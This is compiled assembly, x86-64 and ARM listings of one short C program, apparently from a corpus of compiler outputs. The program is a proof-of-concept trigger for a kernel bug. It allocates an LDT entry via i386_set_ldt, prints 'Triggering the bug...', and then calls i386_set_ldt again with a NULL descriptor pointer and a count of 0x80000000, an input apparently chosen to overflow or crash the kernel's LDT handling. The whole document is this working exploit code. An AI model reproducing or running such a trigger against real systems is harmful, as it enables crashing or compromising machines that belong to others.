	.file	"extr_39570.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"[+] Adding an initial entry to the process LDT..."
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"i386_set_ldt(LDT_AUTO_ALLOC)"
.LC2:
	.string	"returned index: %d\n"
.LC3:
	.string	"Triggering the bug..."
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	lea	rdi, .LC0[rip]
	sub	rsp, 48
	.cfi_def_cfa_offset 64
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 40[rsp], rax
	xor	eax, eax
	mov	eax, DWORD PTR SDT_MEMRW[rip]
	mov	QWORD PTR [rsp], 0
	mov	QWORD PTR 16[rsp], 1
	mov	DWORD PTR 8[rsp], eax
	mov	eax, DWORD PTR SEL_UPL[rip]
	mov	QWORD PTR 32[rsp], 0
	mov	DWORD PTR 12[rsp], eax
	movabs	rax, 4294967296
	mov	QWORD PTR 24[rsp], rax
	call	puts@PLT
	mov	edi, DWORD PTR LDT_AUTO_ALLOC[rip]
	mov	rsi, rsp
	mov	edx, 1
	call	i386_set_ldt@PLT
	mov	ebp, eax
	test	eax, eax
	js	.L6
.L2:
	mov	esi, ebp
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	xor	esi, esi
	mov	edx, -2147483648
	mov	edi, 1
	call	i386_set_ldt@PLT
	mov	rax, QWORD PTR 40[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L7
	add	rsp, 48
	.cfi_remember_state
	.cfi_def_cfa_offset 16
	xor	eax, eax
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
.L6:
	.cfi_restore_state
	mov	edi, DWORD PTR EX_OSERR[rip]
	lea	rsi, .LC1[rip]
	call	err@PLT
	jmp	.L2
.L7:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	SEL_UPL,4,4
	.comm	SDT_MEMRW,4,4
	.comm	LDT_AUTO_ALLOC,4,4
	.comm	EX_OSERR,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_39570.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"[+] Adding an initial entry to the process LDT...\000"
	.align	2
.LC1:
	.ascii	"i386_set_ldt(LDT_AUTO_ALLOC)\000"
	.align	2
.LC2:
	.ascii	"returned index: %d\012\000"
	.align	2
.LC3:
	.ascii	"Triggering the bug...\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC4:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 48
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, lr}
	mov	r3, #0
	mov	r4, #1
	ldr	r1, .L8
	ldr	r2, .L8+4
	ldr	r1, [r1]
	ldr	r2, [r2]
	ldr	ip, .L8+8
	sub	sp, sp, #48
	ldr	r0, .L8+12
	ldr	ip, [ip]
	str	ip, [sp, #44]
	mov	ip,#0
	str	r1, [sp, #12]
	str	r2, [sp, #16]
	str	r3, [sp, #4]
	str	r3, [sp, #8]
	str	r3, [sp, #24]
	str	r3, [sp, #28]
	str	r3, [sp, #36]
	str	r3, [sp, #40]
	str	r4, [sp, #20]
	str	r4, [sp, #32]
	bl	puts
	ldr	r3, .L8+16
	mov	r2, r4
	ldr	r0, [r3]
	add	r1, sp, #4
	bl	i386_set_ldt
	subs	r4, r0, #0
	blt	.L6
.L2:
	mov	r1, r4
	ldr	r0, .L8+20
	bl	printf
	ldr	r0, .L8+24
	bl	puts
	mov	r2, #-2147483648
	mov	r1, #0
	mov	r0, #1
	bl	i386_set_ldt
	ldr	r3, .L8+8
	ldr	r2, [r3]
	ldr	r3, [sp, #44]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L7
	mov	r0, #0
	add	sp, sp, #48
	@ sp needed
	pop	{r4, pc}
.L6:
	ldr	r3, .L8+28
	ldr	r1, .L8+32
	ldr	r0, [r3]
	bl	err
	b	.L2
.L7:
	bl	__stack_chk_fail
.L9:
	.align	2
.L8:
	.word	SDT_MEMRW
	.word	SEL_UPL
	.word	.LC4
	.word	.LC0
	.word	LDT_AUTO_ALLOC
	.word	.LC2
	.word	.LC3
	.word	EX_OSERR
	.word	.LC1
	.size	main, .-main
	.comm	SEL_UPL,4,4
	.comm	SDT_MEMRW,4,4
	.comm	LDT_AUTO_ALLOC,4,4
	.comm	EX_OSERR,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
